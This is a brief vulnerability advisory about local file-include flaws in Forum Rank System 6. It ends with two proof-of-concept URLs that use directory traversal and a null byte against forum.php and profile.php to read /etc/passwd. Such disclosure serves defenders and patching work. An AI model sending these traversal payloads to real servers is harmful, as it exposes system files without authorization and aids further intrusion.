source: https://www.securityfocus.com/bid/29077/info

Forum Rank System is prone to local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities using directory-traversal strings to view files local scripts in the context of the webserver process. This may aid in further attacks.

Forum Rank System 6 is vulnerable; other versions may also be affected. 

http://www.example.com/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00
http://www.example.com/infusions/rank_system/profile.php?settings[locale]=../../../../../../../../etc/passwd%00